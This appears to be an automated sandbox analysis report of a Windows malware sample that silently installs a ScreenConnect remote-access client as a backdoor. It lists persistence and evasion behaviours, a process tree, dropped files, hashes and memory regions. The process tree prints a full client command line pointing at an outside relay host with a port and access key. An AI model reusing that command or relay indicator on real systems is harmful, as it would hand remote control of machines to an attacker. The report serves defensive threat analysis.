Analysis

  • max time kernel
    148s
  • max time network
    139s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/08/2026, 19:24

General

  • Target
    2026-08-01_ceb6cb67ead9d879ace4d1ae66335814_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
  • Size 5.5MB
  • Sample260801-x4mtssff83
  • SHA256 85897e93f7ec9ec6ddd19681654c94b66da1ca05bf357b38d8035287969c75e2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-01_ceb6cb67ead9d879ace4d1ae66335814_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-01_ceb6cb67ead9d879ace4d1ae66335814_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5948
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\dbf1f7b700817635\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:3644
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1240
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1FC4556FA012F828F1F9FB7B5E562FFE C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1188
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI891.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240716015 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4620
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2908
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 033F1F3EE79DCCDD322D0945B47D3F03
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5596
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding DB4D18859E1F5A24C668E6F94A20A8DF E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4952
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3704
    • C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.strangeramazing.com&p=8041&s=f07ca405-dd15-4de3-b554-9d2ac7207ad9&k=BgIAAACkAABSU0ExAAgAAAEAAQC9pDvQl3N60h6zPMYRBxWuJJQubCOX7WByKLkPhRDqcRXu3fEoYDHUKr32D8MAse%2f9AvA%2bzigQDbk4gxvd8JTinn%2f296VwuLP0XCyYTVs5VYTVvsO8Gc8QTJ%2bYgiWBSBT0AlYq8%2fgVd36IOBCy6bQJmTIR4pihWuQ4R5tdCHr6bjU0dge3%2b2QoDjp9ebegDlHsN31GFr9Uof%2bVKzA5F%2biu5KFOEO%2br7ZAsxW79xlALPX%2fwDBAf%2b4pX4EeAT5F8sY%2bgvrfp5DBDP1GBcJ8457AcYazHXOe8mgXTdR2Eia16xKqOW6DprjMMTa0Plyy1lUoHk0gTTZoQMMcS7NswuNXA"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1716
      • C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\ScreenConnect.WindowsClient.exe" "RunRole" "b8d4ff9d-fcb2-4a68-b63e-502099d758f8" "User"
        2⤵
        • Executes dropped EXE
        PID:5880
      • C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\ScreenConnect.WindowsClient.exe" "RunRole" "e2443326-938d-498d-b4db-24637d44e065" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:992

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e59550d.rbs

          • Path C:\Config.Msi\e59550d.rbs
          • Size 214KB
          • SHA256 f2b31eff880a24360b26b8697cb2d2fb3194f7e1cf785f55bbef1529f9d72f69
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\Client.Override.en-US.resources
          • Size 1KB
          • SHA256 cf86f19423c16334226bd3e6fe9ae1574df8138e2d64d1a24f83f90f5b941930
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\Client.Override.resources
          • Size 128KB
          • SHA256 a35730f5e2b5179a820678dff84b5f29832ac88660ba35acb86280f3884de0cb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\app.config
          • Size 2KB
          • SHA256 0e1363deb4a78ddb673919723bfbf3b31de2b2621df2f6bfd74c91aad899beca
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (dbf1f7b700817635)\system.config
          • Size 955B
          • SHA256 01d6efe3d32220faffffef12039365c84f8a1e05735fac39c07651787bf8a507
          • MD5 SHA1 SHA512 TLSH

          MSI891.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI891.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI891.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI891.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI891.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI891.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\dbf1f7b700817635\ScreenConnect.ClientSetup.msi
          • Size 13.2MB
          • SHA256 9be58a5f2adbdc1f93e005df4291b1eeaa47e7f32c8bea14e548aa88350e7614
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI5C11.tmp

          • Path C:\Windows\Installer\MSI5C11.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 c450c29d82e7a73867f3354b9e9431822ceeec1c8d619c7d19e56b2137623621
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {f6fd09e5-b08c-4e38-b522-c38ce851d4dd}_OnDiskSnapshotProp

          • Path \??\Volume{cb1876cb-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{f6fd09e5-b08c-4e38-b522-c38ce851d4dd}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 6cbed54037154f101810744184f7f9e73f9f32dd86735ace14346eb50c509feb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/992-139-0x000000001B580000-0x000000001B5C1000-memory.dmp

          memory/1716-112-0x0000000004640000-0x0000000004690000-memory.dmp

          memory/1716-121-0x0000000004B10000-0x0000000004BE5000-memory.dmp

          memory/1716-117-0x0000000004920000-0x00000000049B2000-memory.dmp

          memory/1716-90-0x00000000043E0000-0x00000000043F8000-memory.dmp

          memory/1716-119-0x0000000004880000-0x00000000048C1000-memory.dmp

          memory/1716-116-0x0000000004690000-0x00000000046C6000-memory.dmp

          memory/4620-32-0x00000000038C0000-0x00000000038EE000-memory.dmp

          memory/4620-44-0x0000000005CF0000-0x0000000005E9C000-memory.dmp

          memory/4620-36-0x0000000003900000-0x000000000390A000-memory.dmp

          memory/4620-40-0x0000000005A00000-0x0000000005A8C000-memory.dmp

          memory/5880-131-0x0000000000810000-0x00000000008A8000-memory.dmp

          memory/5880-137-0x000000001B760000-0x000000001B778000-memory.dmp

          memory/5880-134-0x000000001BA30000-0x000000001BBDC000-memory.dmp

          memory/5880-135-0x000000001BD70000-0x000000001BEF8000-memory.dmp

          memory/5880-136-0x000000001B3E0000-0x000000001B3F8000-memory.dmp

          memory/5880-133-0x000000001B7F0000-0x000000001B87C000-memory.dmp

          memory/5880-132-0x000000001B420000-0x000000001B456000-memory.dmp

          memory/5948-13-0x0000000074E30000-0x00000000755EC000-memory.dmp

          memory/5948-1-0x00000000013D0000-0x00000000013D8000-memory.dmp

          memory/5948-10-0x0000000074E30000-0x00000000755EC000-memory.dmp

          memory/5948-9-0x0000000074E30000-0x00000000755EC000-memory.dmp

          memory/5948-2-0x0000000005430000-0x0000000005722000-memory.dmp

          memory/5948-3-0x0000000074E30000-0x00000000755EC000-memory.dmp

          memory/5948-4-0x0000000005130000-0x00000000051BC000-memory.dmp

          memory/5948-6-0x0000000005210000-0x00000000053BC000-memory.dmp

          memory/5948-5-0x00000000051E0000-0x0000000005202000-memory.dmp

          memory/5948-7-0x0000000005CE0000-0x000000000629A000-memory.dmp

          memory/5948-0-0x0000000074E42000-0x0000000074E43000-memory.dmp

          memory/5948-8-0x0000000074E30000-0x00000000755EC000-memory.dmp